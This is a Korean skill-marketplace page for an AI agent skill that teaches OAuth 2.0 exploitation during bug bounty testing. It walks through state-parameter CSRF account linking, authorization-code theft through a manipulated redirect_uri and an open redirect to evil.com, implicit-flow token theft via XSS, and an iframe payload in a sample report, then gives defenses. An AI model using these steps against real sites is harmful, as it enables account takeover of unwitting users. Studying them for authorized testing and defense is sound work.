본문으로 건너뛰기
cccskills
무료GitHub에 공개

oauth-flow-exploitation

Identify and exploit logical flaws in OAuth 2.0 and OpenID Connect workflows. Use this skill when testing "Sign in with Google/Facebook/Apple" features, focusing on Authorization Code interception, Implicit flow token leakage, standard CSRF bypassing via missing `state` parameters, and redirect logic flaws.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

연동 도구Facebook
설치 방법 보기

포함된 파일(3)

  • SKILL.md9.4 KB
  • evals/evals.json532 B
  • scripts/process.py7.8 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

OAuth 2.0 Flow Exploitation

When to Use

  • When evaluating Single Sign-On (SSO) integrations that allow users to register or log into the application using a third-party Identity Provider (IdP) like Google, Microsoft, or Apple.
  • When you intercept a /authorize endpoint containing parameters like client_id, redirect_uri, response_type=code, and state.
  • To establish full Account Takeover (ATO) by linking an attacker's social account to a victim's primary profile.

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying the Authorization Request

# Concept: OAuth relies on bouncing the user between the Client app and the IdP app.
# The security of this entire sequence relies heavily on perfectly implemented parameters.

# 1. Intercept the classic OAuth "Sign in with..." click:
GET /oauth/authorize?client_id=XYZ123&redirect_uri=https://target.com/callback&response_type=code&state=999abc HTTP/1.1
Host: accounts.google.com

# Key Parameters:
# - redirect_uri: Where the IdP sends the user after login.
# - response_type: `code` (secure server flow) or `token` (insecure implicit frontend flow).
# - state: The anti-CSRF token binding the redirect back to the user's specific web browser session.

Phase 2: Missing or Unvalidated the "State" Parameter (Account Takeover / Linking)

# Concept: If an application allows users to link a social account to their profile, 
# and it DOES NOT strictly validate the `state` parameter upon return (CSRF), an attacker can link THEIR 
# social account to the VICTIM'S profile.

# Exploit Steps:
# 1. The attacker creates an account on `target.com` and clicks "Link Google Account".
# 2. The attacker logs into their Google account. 
# 3. Google redirects the attacker BACK to the target application:
#    `https://target.com/callback?code=SECRET_EVIL_CODE&state=`
# 4. **CRUCIAL STEP**: Before the browser loads this URL, the attacker INTERCEPTS and drops the request.
# 5. The attacker constructs a phishing link using that exact URL:
#    `https://target.com/callback?code=SECRET_EVIL_CODE`

# 6. The victim (who is currently logged into target.com) clicks the malicious link.
# 7. `target.com` processes the attacker's `SECRET_EVIL_CODE`.
# 8. Success: The attacker's Google account is now permanently attached to the victim's target.com account. The attacker signs in via Google and hijacks the account.

Phase 3: Exploiting the redirect_uri (Authorization Code Theft)

# Concept: The IdP (Google) sends the highly sensitive Authorization Code back to the Client (target.com) 
# via the `redirect_uri`. If an attacker can manipulate this URI, they steal the code and the account.

# 1. Open Redirect Flaw Validation:
# Find an Open Redirect on the Client app (e.g., `https://target.com/login?next=//evil.com`).

# 2. Parameter Injection:
GET /authorize?client_id=XYZ123&redirect_uri=https://target.com/login%3fnext=https://evil.com&response_type=code HTTP/1.1
Host: oauth.company.com

# 3. What happens:
# 1. The victim clicks the attacker's manipulated setup link.
# 2. The IdP authenticates the victim and redirects them to the manipulated URI:
#    `https://target.com/login?next=https://evil.com&code=VICTIMS_SECRET_CODE`
# 3. The open redirect executes! The victim is bounced to `https://evil.com/?code=VICTIMS_SECRET_CODE`
# 4. The attacker's server logs the victim's code. The attacker uses it to log into target.com.

Phase 4: Implicit Flow (Access Token Leakage)

# Concept: Older applications use `response_type=token`. This causes the IdP to send the actual 
# access token directly to the browser URL (e.g., `#access_token=123`).

# Exploit: If the attacker exploits XSS on the target domain, they can steal the `#access_token`
# from `window.location.hash` and assume the victim's identity instantly, bypassing backend 
# secret validation entirely.

Decision Point 🔀

flowchart TD
    A[Intercept /authorize request] --> B{Is `response_type=code` or `token`?}
    B -->|token (Implicit)| C[High Risk: Token exposed in frontend URL. Look for XSS.]
    B -->|code (Standard)| D{Is `state` parameter present and validated?}
    D -->|No/Ignored| E[Exploit CSRF Account Linking to achieve ATO]
    D -->|Yes| F{Can `redirect_uri` be manipulated?}
    F -->|Yes| G[Send Open Redirect payload to steal Victim's Code]
    F -->|No| H[Secure Configuration. Proceed to test other features.]

🔵 Blue Team Detection & Defense

  • Strict Redirect URI Whitelisting: The Identity Provider (IdP) administration dashboard must enforce an absolute, non-regex, character-for-character whitelist for the redirect_uri.
    • VULNERABLE: https://target.com/*
    • SECURE: https://target.com/oauth/callback
  • Mandatory State Validation: Require the usage of strong, cryptographically secure state tokens. The client application must store this token in the user's secure session BEFORE initiating the OAuth flow, and assert it perfectly matches when the user returns to the /callback URL. This definitively defeats login/linking CSRF.
  • Deprecate Implicit Flow: The response_type=token flow is officially deprecated by the IETF OAuth working group. Modern Single Page Applications should use the Authorization Code Flow with PKCE (Proof Key for Code Exchange).

Key Concepts

ConceptDescription
OAuth 2.0An industry-standard protocol for authorization focusing heavily on granting specific, scoped access (not identity natively, though often abused for it)
OpenID Connect (OIDC)A modern identity layer built linearly on top of the OAuth 2.0 protocol, dealing specifically in who the user is (Authentication)
Authorization CodeA temporary, single-use token sent by the IdP to the Client, which the Client exchanges via an invisible backend POST request for the final Access Token
State ParameterAn opaque value used to maintain state between the request and callback, primarily serving as an Anti-CSRF token

Output Format

Bug Bounty Report: Account Takeover via OAuth Account Linking CSRF
==================================================================
Vulnerability: Cross-Site Request Forgery (CSRF) in OAuth flow
Severity: Critical (CVSS 8.8)
Target: GET /oauth/google/callback

Description:
The application allows authenticated users to link their Google account for future Single Sign-On processing. However, the initial request sent to `accounts.google.com/o/oauth2/v2/auth` omits the `state` parameter. Consequently, the `/oauth/google/callback` endpoint performed by the application lacks mechanism to verify whether the returning user actually initiated the linking process.

Reproduction Steps:
1. Attacker signs into a newly provisioned attacker account on `target.com`.
2. Attacker initiates the "Link to Google" flow and logs into their Google account.
3. Upon returning to `target.com/oauth/google/callback?code=ATTACKER_CODE`, the attacker intercepts and suspends the redirect.
4. The attacker generates an iframe payload containing the intercepted URL:
   `<iframe src="https://target.com/oauth/google/callback?code=ATTACKER_CODE">`
5. A victim logs into their legitimate account on `target.com` and subsequently visits the attacker's HTML payload.
6. The victim's browser executes the callback URL while authenticated. 
7. The application binds the attacker's Google ID to the victim's account.
8. The attacker logs out, clicks "Sign in with Google", and successfully achieves Account Takeover of the victim's profile.

Impact:
Full Account Takeover (ATO) requiring minor victim interaction.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

ShulkwiSEC의 스킬 모두 보기

이 스킬의 문제 신고